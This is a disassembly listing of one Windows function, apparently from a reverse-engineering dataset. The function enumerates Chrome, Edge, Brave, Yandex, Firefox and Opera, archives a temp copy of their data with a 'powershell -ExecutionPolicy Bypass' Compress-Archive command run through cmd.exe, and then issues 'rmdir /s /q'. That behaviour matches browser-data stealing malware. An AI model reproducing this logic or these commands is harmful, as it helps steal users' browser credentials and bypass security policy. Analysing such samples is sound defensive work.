Function at 0x140035140
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov r15, rdx
mov r14, rcx
mov rcx, qword [rcx + 0x10]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rcx
cmp rax, 0xa
jb 0x140035aa9
mov r9, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1400351a1
mov r9, qword [r14]
mov qword [rsp + 0x30], 0xa
lea rax, str._temp_copy
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r14
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x168]
call fcn.140021700
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
xor r12d, r12d
mov qword [rbp - 0x50], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], al
lea r8d, [rax + 6]
lea rdx, str.chrome
lea rcx, [rbp - 0x50]
call fcn.140002450
nop
mov qword [rbp - 0x30], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], r12b
lea r8d, [r12 + 4]
lea rdx, str.edge
lea rcx, [rbp - 0x30]
call fcn.140002450
nop
mov qword [rbp - 0x10], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp], xmm0
mov byte [rbp - 0x10], r12b
lea r8d, [r12 + 5]
lea rdx, str.brave
lea rcx, [rbp - 0x10]
call fcn.140002450
nop
mov qword [rbp + 0x10], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], r12b
lea r8d, [r12 + 6]
lea rdx, str.yandex
lea rcx, [rbp + 0x10]
call fcn.140002450
nop
mov qword [rbp + 0x30], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r12b
lea r8d, [r12 + 7]
lea rdx, str.firefox
lea rcx, [rbp + 0x30]
call fcn.140002450
nop
mov qword [rbp + 0x50], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], r12b
lea r8d, [r12 + 5]
lea rdx, str.opera
lea rcx, [rbp + 0x50]
call fcn.140002450
nop
mov qword [rbp + 0x70], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], r12b
lea r8d, [r12 + 3]
lea rdx, [0x1401be0d8]
lea rcx, [rbp + 0x70]
call fcn.140002450
nop
mov qword [rbp + 0x90], r12
movdqa xmm0, xmmword [0x1401c7ef0]
movdqa xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], r12b
lea r8d, [r12 + 3]
lea rdx, [0x1401be0dc]
lea rcx, [rbp + 0x90]
call fcn.140002450
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r12
mov ecx, 0x100
call fcn.14014fd30
mov rbx, rax
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rax
lea rcx, [rax + 0x100]
mov qword [rbp + 0x160], rcx
lea rax, [rbp + 0x150]
mov qword [rbp + 0x188], rax
lea rdi, [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
lea rax, [rbp + 0x150]
mov qword [rbp + 0x140], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140002240
add rbx, 0x20
mov qword [rbp + 0x138], rbx
add rdi, 0x20
lea rax, [rbp + 0xb0]
cmp rdi, rax
jne 0x1400353c0
lea r8, [rbp + 0x150]
mov rdx, rbx
mov rcx, rbx
call fcn.14003b330
mov qword [rbp + 0x158], rbx
lea r9, [fcn.140002170]
mov edx, 0x20
lea r8d, [rdx - 0x18]
lea rcx, [rbp - 0x50]
call fcn.140150008
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x168]
mov rcx, r14
call fcn.140034c10
mov rax, rsi
mov rcx, qword [rbp + 0x178]
sub rax, rcx
cmp rax, 0x49
jb 0x140035aaf
lea rax, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rax, qword [rbp + 0x168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x49
lea r9, str.powershell.exe__ExecutionPolicy_Bypass__Command__Compress_Archive__Path_
lea r8, [rbp + 0x168]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x78]
call fcn.140021700
nop
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.__DestinationPath_
lea rcx, [rbp - 0x78]
call fcn.14001c180
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8, qword [r15 + 0x10]
cmp qword [r15 + 0x18], 0x10
jb 0x1400354de
mov r15, qword [r15]
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14001c180
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x1401be0e0]
lea rcx, [rsp + 0x48]
call fcn.14001c180
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140035592
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003558d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ab5
call fcn.14014fd6c
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400355e1
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400355dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035abb
call fcn.14014fd6c
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14003562e
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035629
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ac1
call fcn.14014fd6c
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], r12
lea r14, [rbp + 0x1b0]
mov rdi, qword [rbp + 0x1b0]
mov r13, qword [rbp + 0x1c8]
cmp r13, 0x10
cmovae r14, rdi
mov r15, qword [rbp + 0x1c0]
cmp r15, 0x10
jae 0x14003568f
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x130], xmm0
mov ebx, reloc.WS2_32.dll_ntohs
jmp 0x1400356fe
mov rbx, r15
or rbx, 0xf
cmp rbx, rsi
cmova rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400356d9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140035ac7
mov rcx, rax
call fcn.14014fd30
mov rcx, rax
test rax, rax
je 0x140035acd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400356e8
test rcx, rcx
je 0x1400356e5
call fcn.14014fd30
jmp 0x1400356e8
mov rax, r12
mov qword [rbp + 0x130], rax
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call fcn.140151fe0
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], rbx
lea rax, [rbp + 0x130]
mov qword [rbp + 0xb0], rax
mov r9d, 3
lea r8, [0x1401bae14]
xor edx, edx
lea rcx, [rbp + 0x130]
call fcn.140002320
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
mov dword [rbp + 0xc0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xc4], 0x40
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], r12
lea rax, str.cmd.exe
mov qword [rbp + 0xd8], rax
lea rax, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rax, qword [rbp + 0x130]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], r12
mov dword [rbp + 0xf0], r12d
mov qword [rbp + 0xf8], r12
lea rcx, [rbp + 0xc0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140035a24
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140035822
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003581d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035aa3
call fcn.14014fd6c
mov rcx, qword [rbp + 0x178]
sub rsi, rcx
cmp rsi, 0xd
jb 0x140035ad3
lea rax, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rax, qword [rbp + 0x168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea r9, str.rmdir__s__q__
lea r8, [rbp + 0x168]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x130]
call fcn.140021700
nop
mov r8d, 1
lea rdx, [0x1401bad1c]
lea rcx, [rbp + 0x130]
call fcn.14001c180
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1400358fe
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400358f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ad9
call fcn.14014fd6c
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0x10
cmovae rcx, qword [rbp + 0x190]
call fcn.140169d10
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x14003595b
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035956
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035adf
call fcn.14014fd6c
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
cmp r13, 0x10
jb 0x1400359ac
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400359a3
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ae5
mov rcx, rdi
call fcn.14014fd6c
nop
lea rcx, [rbp + 0x150]
call fcn.1400397f0
nop
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x1400359fa
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400359f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035a9d
call fcn.14014fd6c
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.14014fd10
mov rbx, qword [rsp + 0x330]
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x188]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140035822
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003581d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035aa3
jmp 0x14003581d
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001f00
int3
call fcn.14015ee94
int3
call fcn.140001fd0
int3
call fcn.14015ee94
int3
call fcn.14015ee94
nop
call fcn.14015ee94
int3